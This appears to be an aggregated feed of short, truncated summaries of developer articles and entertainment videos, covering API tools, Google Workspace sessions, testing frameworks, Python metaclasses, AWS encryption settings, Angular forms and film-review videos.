Postman is popular, but many developers are exploring alternatives for lightweight testing, automation, or enterprise workflows. Here’s a curated list of top tools you can use in 2025. Type: GUI | Platforms: Mac, Windows, Linux | Open Source Highlights: Supports REST, GraphQL, gRPC Clean, intuitive interface Design-first workflows: variables, environments, Git sync Ideal for developers who want a visually clean tool with advanced workflow support. Type: Browser-based | Platforms: Web | Open Source Highlights: Minimal setup, no installation needed Supports REST, GraphQL, WebSocket Lightweight and fast Perfect for developers wanting a no-installation, fast API client. Type: VS Code Extension | Platforms: VS Code | Open Source Highlights: Test APIs without leaving VS Code Collections sto…  ( 7 min )

This session will dive deep into the real-world experience of being an early Google Chat integration partner. This session is ideal for developers and product managers looking to understand the strategic advantages and practical realities of building innovative solutions on the Google Workspace platform. This video was recorded at the Google Workspace Developer Summit in Sunnyvale on October 9, 2025. Watch the other sessions presented at the Google Workspace Developer Summit: https://www.youtube.com/playlist?list=PLDdffPXqmxKPfEJsp70kk-qSpNSVOt2uR Subscribe to our YouTube channel: https://www.youtube.com/@googleworkspacedevs/ Subscribe to our Google Workspace Developer Newsletter: https://developers.google.com/workspace/newsletters #googleworkspacedevelopersummit #googleworkspaceplatform #googlechat Follow youtube.com/@googleworkspacedevs  ( 6 min )

🚀 ATS CV & Resume Optimization Track — CDSA Open Community Because your CV isn’t just a document — it’s your career weapon. Let’s sharpen it. What This Track Is About This track is built to help you create a real-world, recruiter-ready, ATS-friendly CV that actually passes screening systems and gets interviews. Whether you’re applying for tech roles (Dev, Cyber, AI, Data, Cloud) or non-tech roles, this track makes sure your CV is clean, structured, and aligned with international standards. 📄 What You’ll Learn ✔ How ATS (Applicant Tracking Systems) filter CVs Core Tools & Resources (Free) 1️⃣ Google Resume Template (Clean + ATS Friendly) Start with a globally recognized CV structure. Here 2️⃣ Jobscan — Test Your CV Against Real Job Descriptions Upload your CV + job description → Get your ATS score and improvements. Here 3️⃣ IBM ATS & Resume Writing Course (Free Certificate) Short, practical training that teaches CV structure, keywords, and ATS logic. Here Track Deliverables By the end of this track, you will have: ✅ A complete ATS-ready CV 70%+ This Track Is For You If… You’re job hunting You’re applying for internships, grad programs, or gigs You’re entering hackathons and need a clean bio You want a CV that actually gets read You’re switching careers into tech How This Track Works Start with the Google Template → build your base CV. Run it through Jobscan → fix the issues using the score report. Take IBM’s ATS course → understand the hiring logic. Get peer review inside the CDSA WhatsApp Community. Submit your final CV for certification in our community portal.  ( 7 min )

This session will discuss the coming change to granular OAuth scope consent, and how to prepare for it to ensure your app handles user selections gracefully. This video was recorded at the Google Workspace Developer Summit in Sunnyvale on October 9, 2025. Watch the other sessions presented at the Google Workspace Developer Summit: https://www.youtube.com/playlist?list=PLDdffPXqmxKPfEJsp70kk-qSpNSVOt2uR Get Dave's solution: https://github.com/dabouav/granularOAuth Subscribe to our YouTube channel: https://www.youtube.com/@googleworkspacedevs/ Subscribe to our Google Workspace Developer Newsletter: https://developers.google.com/workspace/newsletters #googleworkspacedevelopersummit #googleworkspaceplatform Follow youtube.com/@googleworkspacedevs  ( 6 min )

This session covers when and how to use service accounts when developing on the Google Workspace platform. We will also cover best practices you should be aware of. This video was recorded at the Google Workspace Developer Summit in Sunnyvale on October 9, 2025. Watch the other sessions presented at the Google Workspace Developer Summit: https://www.youtube.com/playlist?list=PLDdffPXqmxKPfEJsp70kk-qSpNSVOt2uR Subscribe to our YouTube channel: https://www.youtube.com/@googleworkspacedevs/ Subscribe to our Google Workspace Developer Newsletter: https://developers.google.com/workspace/newsletters #googleworkspacedevelopersummit #googleworkspaceplatform Follow youtube.com/@googleworkspacedevs  ( 6 min )

This session will explore the exciting new capabilities offered by both the Meet API and the Meet Media API, empowering developers to extend and enhance the Meet experience within their own applications. This video was recorded at the Google Workspace Developer Summit in Sunnyvale on October 9, 2025. Watch the other sessions presented at the Google Workspace Developer Summit: https://www.youtube.com/playlist?list=PLDdffPXqmxKPfEJsp70kk-qSpNSVOt2uR Subscribe to our YouTube channel: https://www.youtube.com/@googleworkspacedevs/ Subscribe to our Google Workspace Developer Newsletter: https://developers.google.com/workspace/newsletters #googleworkspacedevelopersummit #googleworkspaceplatform Follow youtube.com/@googleworkspacedevs  ( 6 min )

Do you want to confidently navigate the Marketplace review process and get your application approved efficiently? This session is your expert guide to demystifying critical stages like OAuth and brand verification, and the Cloud App Security Assessment (CASA). This video was recorded at the Google Workspace Developer Summit in Sunnyvale on October 9, 2025. Watch the other sessions presented at the Google Workspace Developer Summit: https://www.youtube.com/playlist?list=PLDdffPXqmxKPfEJsp70kk-qSpNSVOt2uR Subscribe to our YouTube channel: https://www.youtube.com/@googleworkspacedevs/ Subscribe to our Google Workspace Developer Newsletter: https://developers.google.com/workspace/newsletters #googleworkspacedevelopersummit #googleworkspaceplatform Follow youtube.com/@googleworkspacedevs  ( 6 min )

GitHub code discovery adventures! 😉 For those who are familiar with my posts, you know that I spend a lot of time digging into all kinds of code, often maintaining subscriptions to far too many developer blogs and repositories. My recent rabbit hole began when I spotted the docling-hierarchical-pdf repository. Curious about its claims regarding robust PDF-to-Markdown conversion and document post-processing — especially since it’s not actually produced by the official Docling team — I decided to take it for a serious spin. What follows is my complete test, including setting up a recursive processing pipeline, and all the discoveries I made along the way. Disclaimer: The author/developer of the repository is Roman, Kayan (https://www.linkedin.com/in/roman-kreuzhuber/). Docling is an open-…  ( 9 min )

Business ideas you can snatch away Hello and welcome to the new blog I often don’t write the actual blog nowadays, because I am busy marketing the products I’ve been working on, but today I think to take some time to share a few things as business ideas and what’s working in the market. Just now at the time of writing, I’ve tried Gemini 3.0 PRO in Google AI Studio, and it was amazing, and most of the predictions are true that software development jobs are at stake, but not all. Few early adopters will certainly use AI studios and app builders, but most of the businesses in my experience are still working on an old tech-stack and quite a complex source code, which needs human intervention, and those types of people won’t leave the development space. A few other players, for example, solo en…  ( 9 min )

TODAY’S PROJECT Day 2 :- Create the ball and make it move, Detect collision with wall and bounce. Day 3 :- Detect collision with paddle, detect when paddle misses, keep score. All the code will be uploaded together in day 3. Target 1 :- Creating a ball. Target 2 :- Creating collision with y axis wall.  ( 7 min )

A few years ago, no-code platforms like Bubble and Webflow were considered revolutionary. They allowed non-developers to build simple apps using drag-and-drop interfaces. But today, vibe coding is taking that revolution to an entirely new level. Instead of clicking around a visual editor, you just describe what you want in plain English, and AI generates the code, UI, functionality—even backend logic. No-code tools helped democratize development, but they had limits. Most could only handle basic applications and weren’t built for scalability. Vibe coding breaks this limitation. Since AI generates development-grade code, you're no longer stuck with restricted templates or plugin configurations. For example, imagine prompting: “Build an AI-powered fitness tracking app with user registration, wearable integration, and a motivational UI that feels like Apple Fitness.” Within minutes, vibe coding tools like Cursor or Claude Code can produce functional prototypes. Developers can then refine, scale, and harden it for production. Startups love this because they can test MVPs faster, adapt quickly, and iterate without burning budget. Experienced developers use it as acceleration, not replacement.  ( 6 min )

"Testing leads to failure, and failure leads to understanding."- Burt Rutan Testing is the backbone of reliable software, but let's be honest-traditional PHPUnit tests can feel verbose and intimidating. Enter Pest, a delightful PHP testing framework that brings simplicity, elegance, and speed to Laravel testing. If you've ever wished your tests could read like plain English while being powerful enough for complex scenarios, Pest is your answer. Pest offers cleaner syntax than PHPUnit with a functional, expressive API that reads like natural language Seamless Laravel integration with built-in support for database testing, HTTP requests, and authentication Faster test execution through parallel testing and optimized architecture Expectation API makes assertions intuitive with chainable metho…  ( 12 min )

API? Yeah... we all pretend we know it If you've been around developers for more than five minutes, you've probably heard the word API being thrown around like it's salt of software engineering. I've used "API" in sentences, just hoping no one would ask, Honestly, the more you hear it, the more its meaning gets diluted. Every tutorial conveniently assumes that you've learned it in your past life. Then one random day - a perfect analogy dropped into my brain, Grab your imaginary library card - let's go! Picture this: you walk into your favorite library, fully ready to grab that one book you love. But you don't just sprint to the shelves, dive in, and start digging like a treasure hunter. In the real world, you go to the librarian. The librarian is the official, approved bridge between you…  ( 8 min )

If your work touches a shared wall, digs close to a neighbour’s foundations, or changes a party structure, start by being able to describe the job in plain, exact terms. Say whether you are building on a boundary, removing a chimney, underpinning, excavating for a basement, or converting a loft. These are different jobs. The Party Wall etc. Act 1996 applies to specific kinds of works and whether it applies to you depends on the details. Draw a sketch, note measurements, list the sequence of contractor tasks and the expected start date. If you cannot explain your own project clearly, you will waste time and attract bad advice. A surveyor does more than fill in forms. They decide whether notices must be served. They prepare those notices correctly. If the neighbour dissents, they will prepar…  ( 10 min )

Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins takes a fun, snarky dive back down the yellow brick road now that Wicked’s back in theaters, pointing out every hilarious nitpick in The Wiz—faster than you can click your heels. For more sinful content and community shenanigans, hit up cinemasins.com or linktr.ee/cinemasins, subscribe to @TVSins, @commercialsins and their podcast network, and join them on Discord, Reddit, Instagram and TikTok. Big ups to writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel! Watch on YouTube  ( 6 min )

macOS offers a powerful feature called Spaces, which allows users to organize their open applications across multiple virtual desktops or workspaces. This helps maintain an organized workflow by separating projects or tasks into distinct environments. However, a feature that automatically rearranges these desktops based on your recent app usage can sometimes disrupt this organization. If you prefer your desktops to remain in a fixed order, it is essential to disable this auto-rearrangement. By default, macOS reorders your desktops (also called Spaces) so that the most recently used desktop appears next to your current one. While this can be useful for some people to quickly switch between frequently used spaces, it often causes confusion and breaks your muscle memory of where apps or docum…  ( 7 min )

I created an educational content piece for DevOps Daily and realized something: most explanations of DDoS attacks are either too abstract or too technical. We talk about "request floods" and "mitigation strategies," but it's hard to visualize what's actually happening. So I built an interactive simulator to help bridge that gap. When you're reading about DDoS protection, you see phrases like "distributes load across multiple servers" or "rate limiting prevents abuse." But what does that actually mean when thousands of requests are hitting your infrastructure? I wanted something that would help people - especially those newer to infrastructure work - actually see these concepts in action. You can try it here: devops-daily.com/games/ddos-simulator It lets you simulate three common attack typ…  ( 7 min )

In many projects, the “directory” or “listing” module quietly becomes the most time-consuming part of the build. Business Directory Script. Most “directory builders” online are either: Listings support: Search is built for real-world directory usage: Each business/user gets: The admin can: Developers can easily plug in custom payment gateways. Users can leave: Every listing includes: The frontend layout is optimized for: Every developer can modify: This script is useful if you build: • Freelance developers Building a directory platform from scratch is repetitive work. This script removes the boilerplate so you can focus on the unique value of your project — not the basics everyone needs. If you want to explore, customize, or extend it, I’d love to hear your feedback and suggestions.  ( 8 min )

So, it's been a year since the last article, and a lot has changed. In this one, we're going to talk about integrating with Mock Service Worker (MSW). I'll also describe what I tried to implement in my quest for system resilience - what worked out and what didn't. I can't say the time investment paid off in spades, but one thing's for sure - it definitely wasn't a waste of time. Here are the main areas where the tests really proved their worth: When contracts were lost or changed; Fixing the fallout from merge conflicts (given the quirks of our processes, this is the most common scenario); Refactoring (it's hard to be objective here since our project's test coverage isn't huge, but before any refactoring, I try to at least cover the code with local tests). Then again, all those fancy thing…  ( 9 min )

Because APIs play such a big role, testing them isn’t optional anymore… it’s essential. If you’re someone who wants to learn API automation from scratch but doesn’t want to get overwhelmed, then REST Assured is one of the best places to start. It’s simple, Java-based, powerful, and widely used in real QA projects. In this beginner-friendly guide, we’ll walk through what REST Assured is, why it’s popular, how to set it up, and how to write your first API test—even if you’ve never touched API automation before. Let’s jump right in. ** ** REST Assured is a Java library built specifically for testing RESTful APIs. send API requests validate API responses automate API test cases It works beautifully with TestNG, Maven, and CI/CD pipelines, which is why many companies use it as part of their qa…  ( 9 min )

English Version Você entregou a feature em tempo recorde. O código está organizado, tipado e passou nos testes. O PR foi aprovado. Você se sente invencível por ter finalizado sua sprint sem grandes esforços. Mas seja sincero com você mesmo por um segundo: se o Cursor, Copilot ou outra IA qualquer que você tenha utilizado durante o desenvolvimento tivesse ficado offline hoje, você teria conseguido escrever aquela solução de manipulação de streams complexa? Ou aquela regex de validação? Ou a configuração do Dockerfile? Estamos vivendo a "Era de Ouro" da produtividade no desenvolvimento. Ferramentas de IA não são apenas assistentes, elas são catalisadores de força. Elas nos permitem pular a parte chata, o boilerplate, a sintaxe que esquecemos. Mas existe um efeito colateral silencioso acontec…  ( 10 min )

Portuguese Version You shipped the feature in record time. The code is organized, well-typed, and passed the tests. The PR was approved. You feel invincible for having finished your sprint without much effort. But be honest with yourself for a second: if Cursor, Copilot, or any other AI tool you used during development had gone offline today, would you have been able to write that complex stream manipulation solution? Or that validation regex? Or the Dockerfile configuration? We are living in the "Golden Age" of development productivity. AI tools are not just assistants; they are force multipliers. They allow us to skip the boring part, the boilerplate, the syntax we've forgotten. But a silent side effect is happening, affecting everyone from interns to seasoned developers: the outsourcing…  ( 9 min )

This tutorial walks through setting up and using LightRAG, a retrieval-augmented generation system that combines knowledge graphs with vector search for document retrieval. LightRAG is a RAG (Retrieval-Augmented Generation) system that builds knowledge graphs from your documents. Unlike classical RAG systems that rely solely on vector similarity search, LightRAG extracts entities and relationships from documents to create a structured knowledge graph, then uses both the graph and vector search for retrieval. Classical RAG: Uses vector embeddings to find semantically similar document chunks Retrieval is based on cosine similarity between query and document vectors No structured understanding of entities or relationships LightRAG: Extracts entities (people, organizations, concepts) and relat…  ( 9 min )

If you’ve ever tried collecting payments from customers across different African countries, you know how tricky it can get, especially when dealing with local payments. Nigerians prefer bank transfers, Kenyans rely on M-Pesa, Ghanaians use Mobile Money, and South Africans lean toward cards or electronic fund transfers (EFTs). Even within a single country, customers still use different payment methods. Africa’s complex payment ecosystem makes it hard for businesses to manage and reconcile incoming payments efficiently. That’s where virtual account management comes in. They simplify things by bringing all payment methods into one unified flow that’s easier to track and reconcile. In this guide, you’ll learn what virtual accounts are, how they work, and how to integrate them into your applica…  ( 11 min )

If you’re planning home improvements — an extension, loft conversion, underpinning, or even installing a new garden wall — you might think about foundations, planning permission, or building regs. But one legal step that catches many people out is the Party Wall Notice. Ignoring it isn’t just risky; it can delay work, lead to disputes, or force costly remedial measures. This guide explains in plain English when a Party Wall Notice is required, how to prepare and serve one properly, what to expect afterwards, and how getting the process right can protect your project, your neighbours, and your sanity. A Party Wall Notice is a formal, written notification served on an adjoining owner when proposed works fall under the Party Wall etc. Act 1996. The notice explains the planned work, the propo…  ( 9 min )

Why optional chaining is making your JavaScript harder to debug The optional chaining operator (?.) is one of the most convenient features in modern JavaScript. It's saved us countless lines of defensive null-checking code and made our codebases cleaner. But like any powerful tool, it can be misused—and when it is, it transforms from a helpful safeguard into a bug-hiding machine. Use ?. only where it's actually okay for something not to exist. This sounds simple, but in practice, I see developers (including past me) sprinkling ?. everywhere like it's syntactic sugar with no side effects. The truth is, every time you use optional chaining, you're making a statement about your data contract: "This might not exist, and that's fine." Let's look at a common scenario in a user profile dashboard:…  ( 9 min )

Build Your MVP: Find the Right Technical Co-Founder Building your Minimum Viable Product (MVP) is a critical step in bringing your startup vision to life. But without the right technical talent, your great idea might stay just that—an idea. Here are three strategies to find the perfect technical co-founder and early team members. 1. Know What You're Looking For Before you start your search, define what skills and expertise your project needs. Is it a web developer, a mobile app expert, or a data scientist? Clarifying this can streamline your hunt and prevent future mismatches. 2. Tap into Your Network Use your existing network to reach out to potential candidates. Attend industry events, join online forums, and leverage social media platforms like LinkedIn. Personal connections often lead to trustworthy and motivated team members. 3. Leverage AI Matching Platforms like LeKlub-AI can help you find the ideal technical partner by using sophisticated AI algorithms to match you with co-founders who align with your project goals and culture. This can save you time and help you identify candidates you might not find through traditional means. Building a successful MVP requires more than just a great idea—it requires the right team. Consider these tips and streamline your search process with the power of AI. Ready to find your perfect technical co-founder? Give LeKlub-AI a try today!  ( 6 min )

As a .NET developer embarking on a journey to learn Elixir, one of the first questions is: "How do I build a web API?" In the Elixir ecosystem, the answer is overwhelmingly the Phoenix Framework. If you're familiar with ASP.NET Core, you'll find Phoenix to be a powerful and elegant counterpart. In this article, I'll break down the key components of Phoenix and draw comparisons to the .NET world to help frame my understanding. Phoenix is the web development framework for the Elixir language. It allows you to build modern web applications, including Web APIs, Web Sockets (for real-time functionality), and traditional Model View Controller (MVC) apps. In the Microsoft world, it is the direct equivalent of ASP.NET Core. Phoenix is known for high developer productivity and exceptional applicati…  ( 9 min )

Como desenvolvedor .NET embarcando em uma jornada para aprender Elixir, uma das primeiras perguntas é: "Como construo uma API web?" No ecossistema Elixir, a resposta é predominantemente o Framework Phoenix. Se você está familiarizado com ASP.NET Core, verá que o Phoenix é uma contraparte poderosa e elegante. Neste artigo, vou detalhar os componentes-chave do Phoenix e fazer comparações com o mundo .NET para ajudar a estruturar meu entendimento. Phoenix é o framework de desenvolvimento web para a linguagem Elixir. Ele permite que você construa aplicações web modernas, incluindo APIs Web, Web Sockets (para funcionalidade em tempo real) e aplicativos tradicionais Model View Controller (MVC). No mundo Microsoft, ele é o equivalente direto do ASP.NET Core. Phoenix é conhecido por alta produtivi…  ( 10 min )

📢 We're opening a list of community projects! You can participate. Anthony Max for HMPL.js ・ Nov 20 #webdev #javascript #programming #opensource  ( 5 min )

📢 We're opening a list of community projects! You can participate. Anthony Max for HMPL.js ・ Nov 20 #webdev #javascript #programming #opensource  ( 5 min )

Summary The downside of using real names is the constant need for consideration, which is inherently burdensome. This makes it challenging to focus on essential discussions. While psychological safety is emphasized, building and maintaining it is daunting and often insufficient on its own. This is where "closed anonymity" comes into play. While we want to use anonymity to avoid the inherent burden of real names, we also want to ensure governance. Thus, "being anonymous within a specific organizational scope" is the balance we aim for. Even today, we work under our real names. Needless to say, using real names is burdensome. This is because, with clear visibility of ourselves and others, we must constantly be considerate in our speech and actions. We could say there is a constant hea…  ( 8 min )

Low-code platforms like n8n have gained popularity among beginners, freelancers, and non-technical users exploring automation and AI workflows. They promise fast development, visual orchestration, and “code-optional” integration. For many, n8n is their first exposure to automation and their first glimpse into how software engineers think. And that is its true strength: n8n is an excellent learning and experimentation tool, not an engineering platform. Just like WordPress introduces people to websites, n8n introduces people to automation. It is ideal for exploring concepts, but it is not where scalable, maintainable, production-grade systems are built. If you're new to software automation—or even if you're 10 years old and curious about how software workflows behave—n8n is a great place to …  ( 8 min )

Every product team knows the tension between speed and clarity. Moving from a concept on a slide to something people can actually test is often slow, expensive, and fragmented. That gap between what we imagine and what we can demonstrate is where many good ideas stall. Figma Make enters this space with a bold promise: to compress the distance between idea and proof, giving teams the power to build realistic, functional prototypes directly from their designs. As a product designer, I live in the idea-to-pitch loop with a constant question: How do I make my teammates or clients see what I see? Mockup help. Words help. But they’re not enough. Whether it be pitching to investors, scoping with clients, or aligning internal teams, ideas are always easy to talk about, but hard to show. We're st…  ( 9 min )

I remember the first time I tried building a multi-section landing page. Everything seemed fine until I had to align cards, features, and hero sections across different screen sizes. Flexbox was great, it helped me align items neatly along a row or a column. Buttons were easy to center, cards aligned without stress, and navigation bars looked clean. But when it came to arranging rows and columns simultaneously, I felt like I was juggling invisible boxes. At that point, I realized that while Flexbox is incredibly useful, it wasn’t enough for some layouts I wanted to build. That’s when I discovered CSS Grid, and it felt like a whole new world opened up. Suddenly, I could control both rows and columns, manage spacing effortlessly, and create layouts that scaled beautifully on different device…  ( 14 min )

In the wild world of Search Engine Optimization (SEO), the competition is usually dominated by software with super technical or keyword heavy names. You know the type: "SEO Master Pro," or "Keyword Elite." But then, there is one phenomenon that challenges all the rules: Neil Patel. It’s not "The Ultimate SEO Analyzer" this dominant service is widely known purely by the power of its founder's name. The success of Ubersuggest isn't just about sophisticated algorithms; it’s a masterclass in personal branding. In the digital realm, tools usually rely on descriptive names. Neil Patel and Ubersuggest took a different, far more effective route. Here is the breakdown: Neil Patel isn't just selling an SEO tool; he is selling his expertise in the form of a tool. Because he spent years building an i…  ( 7 min )

Metaclasses are one of those Python features that sound complicated but are actually based on a simple idea: Classes create objects. That’s it. When you write: class User: pass the class User is actually an object, and Python needs something to build that object. print(type(User)) Output: So type is the “class-maker.” Why Would You Ever Use a Metaclass? Most people never do — and that’s fine. But frameworks like Django, SQLAlchemy, and Pydantic use metaclasses to: add extra attributes to classes validate or modify classes at creation time automatically register subclasses build features with less boilerplate A metaclass lets you run logic when the class is created, not when it runs. A Basic Metaclass Example This metaclass prints the name of the class being created: class LoggerMeta(type): def __new__(cls, name, bases, attrs): print("Creating:", name) return super().__new__(cls, name, bases, attrs) Using it: class Example(metaclass=LoggerMeta): pass When the file loads, it prints: Creating: Example Because the metaclass runs before the class exists. Adding Automatic Attributes A more practical example: class InfoMeta(type): def __new__(cls, name, bases, attrs): attrs["source"] = "auto" return super().__new__(cls, name, bases, attrs) Usage: class Product(metaclass=InfoMeta): pass print(Product.source) Output: auto The metaclass quietly added the attribute. When to Use Metaclasses Use them only when you need to control how classes are built — usually in libraries or frameworks. Normal applications almost never need them.  ( 6 min )

You'll need lawyers, lengthy contracts, expensive legal battles, and even then, once your work is online, tracking who's using it is nearly impossible. And don't even get me started on AI companies scraping your content to train their models without asking permission or paying you a dime. Enter S.Y. Lee—a Korean entrepreneur who sold his last startup for $440 million and decided his next mission would be to fix the entire broken system of intellectual property. The result? Story Protocol, a blockchain that just launched in February 2025 and is already valued at $2.25 billion. This is the story of how a serial founder, a Google DeepMind product manager, and a team of absolute grinders built what they're calling "programmable IP"—and why it might just change how every creator, artist, and AI…  ( 15 min )

You know that moment when you’ve read the same MDN paragraph 17 times and closures still feel like black magic? Same story here. Every JavaScript dev hits this wall at some point, especially with modern React, custom hooks, event handlers, and AI-driven tooling becoming more closure-heavy in 2025. But once closures “click”, your debugging skill skyrockets. In this article, I will give you the explanation I wish someone had told me years ago, simple, practical, and free of textbook jargon. Let’s break this down. A closure is a function that remembers where it was born. That’s it. Even when it leaves its original home, a closure keeps access to the variables that were around during its creation. Here’s the catch: “memory” survives even after the outer function finishes running. Imagine you’r…  ( 8 min )

The Symfony Cache component is often the most under-utilized tool in a developer's arsenal. Most implementations stop at "install Redis" and wrap a few database calls in a $cache->get() closure. While functional, this barely scratches the surface of what the component can do in high-throughput, distributed environments. In Symfony 7.3, the Cache component is not just a key-value store; it is a sophisticated system capable of tiered architecture, probabilistic stampede protection and transparent encryption. This article explores important caching strategies that solve expensive architectural problems: latency, concurrency (thundering herds), security (GDPR) and distributed invalidation. In microservice architectures or high-traffic monoliths, a network call to Redis (typically 1–3ms) can ev…  ( 12 min )

The One Security Setting Every AWS Account Needs We have all been there. You are in a rush to launch an EC2 instance. You click through the configuration screens, hit "Launch," and then realize... you forgot to tick the "Encrypt" box for the storage volume. In the world of cloud security, human error is the biggest risk. But what if you could "future-proof" your account so that you never have to remember to click that button again? There is a setting in AWS that takes literally 30 seconds to turn on, costs nothing extra to enable, and ensures that every single new hard drive (EBS volume) you create is encrypted automatically. Here is how to turn it on, why it matters, and the few things you need to know. Think of EBS Encryption by Default as automatically locking your front door every ti…  ( 8 min )

What if I told you that for about 80% of text-analysis tasks, you don’t need ChatGPT, Claude, Gemini, or any paid API at all? Instead, you can use a tiny, powerful, and completely free Python library that has quietly existed for years: TextBlob. In a world where AI APIs cost real money, sometimes a lot of money, TextBlob is a reminder that not every problem needs a 175-billion–parameter transformer. For many day-to-day NLP tasks, a lightweight local tool is all you need. Let’s explore how TextBlob can replace expensive AI calls and save you time, money, and compute, without sacrificing usefulness. TextBlob is a lightweight, beginner-friendly natural language processing (NLP) library for Python. It’s built on top of two foundational NLP tools, NLTK and pattern, and provides a clean, simple…  ( 10 min )

‘Weird Science’ Revisited Bill Simmons and Kyle Brandt dig into John Hughes’s 1985 teen classic, Weird Science, unpacking its over-the-top ’80s vibe—think sex, drugs, rock ’n’ roll (plus obligatory chips, dips, chains and whips)—and celebrating the on-screen magic of Anthony Michael Hall, Kelly LeBrock and Ilan Mitchell-Smith. Along the way they give a nod to producers Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, toss in a State Farm sponsor shout-out, and remind you to subscribe to The Ringer’s YouTube channels for more movie deep dives. Watch on YouTube  ( 6 min )

Everything Wrong With The Wiz In 15 Minutes Or Less is CinemaSins’s latest dive down the yellow brick road—reevaluating The Wiz now that Wicked is back in theaters and asking if it’s better than you remember. They’ve packed the description with links to their site, socials, a sinful poll, and Patreon. The video credits writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian and Daniel, and invites fans to follow along on Discord, Reddit, Instagram and TikTok. Watch on YouTube  ( 6 min )

CinemaSins just dropped “Everything Wrong With KPop Demon Hunters in 16 Minutes Or Less,” their trademark rapid-fire roast of the movie’s quirks, plot holes and over-the-top demon-slaying. They promise plenty of snark, invite you to weigh in on their sinful poll, and remind you that if you love the bit, supporting them on Patreon keeps the little team going. Beyond the sins, they’re plugging all the usual suspects: YouTube channels (@TVSins, @commercialsins), socials (Twitter, Instagram, TikTok), their Discord and Reddit communities, and even Jeremy’s book. If you can’t get enough, everything’s conveniently linked via their linktr.ee page. Watch on YouTube  ( 6 min )

Biggest Disney Bombs: The Sorcerer's Apprentice – Caravan of Garbage Disney’s recent slate has been hit or miss – Marvel and Star Wars installments aren’t flying like they used to, and newer originals like Wish and Elio have barely made a ripple. But hey, this isn’t uncharted territory for the Mouse House. Over the next few weeks, “Caravan of Garbage” is diving into four of Disney’s most spectacular live-action flops. Kicking things off is 2010’s The Sorcerer’s Apprentice, complete with Nicolas Cage, questionable magic, and… a giant bird? Join James and Maso as they revisit the film you probably forgot (but they definitely haven’t), and get ready for more glorious dumpster dives into Disney’s dud-dusted past. Watch on YouTube  ( 6 min )

With Angular 21 introducing the new Signal Forms API, we now have a different and more streamlined way to approach async validation. In this post, we'll walk through how async validators work in Signal Forms, including how to set up a debounced username check using validateAsync(), resource(), and custom async errors. You'll see how pending states, real-time feedback, and server-backed checks fit into this updated pattern giving you a clear understanding of how async validation is handled in Angular's modern form system. Starting with a Basic Signal Form For this example, we'll be using an Angular form: It has a username field and that field should check the server to see if the username exists as the user types. Easy enough, right? But there's a twist: this form uses the …  ( 13 min )

Freedom without control is chaos — and control without freedom is stagnation. Mature cloud organizations move fast and remain compliant — without slowing developers down with approvals and manual reviews. The solution: Guardrails, not gates. In this deep-dive, I will walkthrough an AWS-native governance model using Policy as Code (PaC) across a multi-account AWS environment, leveraging: AWS Organizations, Control Tower, SCPs, AWS Config, CloudFormation Guard, Security Hub, Audit Manager, EventBridge, Lambda Remediation, and Amazon Detective. This is the blueprint can be used to achieve continuous compliance, audit readiness, and autonomous engineering velocity. As organizations scale from a few accounts to hundreds of workloads, familiar problems quickly appear: Inconsistent tagging — reso…  ( 14 min )

2:47 AM. Phone vibrating... I turned on the screen expecting a notification, but instead saw a strange video, filmed as if through an old VHS tape. A person on screen spoke quietly, almost in a whisper: "If everything has consciousness... even a brick... even this table... then where do I end?" This was two days after a black cat had wreaked havoc in our kitchen. And an hour after I'd deleted all the text of a song for the hundredth time—a song I was trying to write about that incident. I wanted to write a song about that morning—about the cat-bandit, about my rage, about the strange insight that came later. But the words wouldn't come. I turned to AI: "Write a song about a cat that made a mess in the kitchen" The results were predictably awful—cliché rhymes, flat emotions, none of the d…  ( 9 min )

What Is Asset Health? Asset health shows how well an IT asset is performing at a given moment. It helps you see if a device or system is working normally or starting to show problems. In IT Asset Management (ITAM), asset health reflects the condition, reliability, and performance of your hardware and software. A healthy asset runs smoothly and stays updated. An unhealthy asset may slow down, freeze, or require frequent support. Think of asset health as a simple status check for your IT environment. When you understand the health of your assets, you can plan maintenance, prevent downtime, and decide when to repair or replace equipment. Why Asset Health Is Important Asset health matters because it tells you if your devices and systems can support your daily work without problems. When y…  ( 11 min )

There is a famous business saying that has echoed through the tech world for years: "Standing in the wind, even a pig can fly." It implies that if the trend (the "wind") is strong enough, anyone can succeed, regardless of their actual skill level. Now, we are in November 2025. The AI "wind" is no longer a breeze—it is a hurricane. We have LLMs that refactor legacy code better than seniors, image models that understand complex physics, and video generators that dream in 4K. But look around. Are the "pigs" flying? Why? Because in a hurricane, if you don't understand aerodynamics, you don't fly. You just get thrown against a wall. Here is my controversial take for 2025: AI doesn't make it easier to be mediocre. It raises the bar for being competent. This brings me to how I rebuilt my workflow…  ( 8 min )

Technical comparison of MCP-native and traditional agentic frameworks with production considerations for building AI agents Use Case Framework Why MCP-native development mcp-agent Built for MCP from day one Visual debugging LangGraph Studio with time-travel debugging Multi-agent conversations AG2 Agents coordinate autonomously Type safety PydanticAI Full Pydantic validation Rapid prototyping CrewAI No-code Studio interface GitHub: lastmile-ai/mcp-agent | Python Python framework built for Model Context Protocol. Native MCP implementation, not an adapter. Key Features: Native MCP implementation - Full protocol support (tools, resources, prompts, notifications, OAuth) Automatic durable execution - Switch to Temporal in one config line, no manual checkpointing Cloud deployme…  ( 9 min )

In the AI image generation landscape of late 2025, Google DeepMind's Nano Banana Pro (also known as GemPix 2) has landed as a significant disruptor. Moving away from the "Gacha-style" randomness of early diffusion models, Nano Banana Pro marks the official entry of image generation into the era of "Logical Reasoning". Based on various technical reviews and data, this article analyzes the model's market positioning and technical value across three dimensions: architecture, consistency breakthroughs, and commercial application. Traditional text-to-image models often relied on probability fitting, leading to frequent physical hallucinations. Nano Banana Pro, however, is defined as a "Reasoning Model." Before generating pixels, it performs internal logical deductions to understand the physical…  ( 7 min )

Tricky shook up the ’90s by ditching the “Trip-Hop” tag and forging a claustrophobic, genre-bending sound with Martina Topley-Bird—melding soul, dub reggae and downtempo hip-hop into something dark, paranoid and totally his own. His debut album Maxinquaye, born from personal trauma and medicated melancholy, earned Bowie-style comparisons and critical praise for redefining what British hip-hop could be. But as Maxinquaye’s eerie grooves hit the airwaves, the industry sanitized Tricky’s raw edge, packaging his sonic experiments for mainstream radio. The story of Maxinquaye is one of groundbreaking innovation, creative ownership wrested away, and the ongoing journey of an artist who never quite fit the mold. Watch on YouTube  ( 6 min )

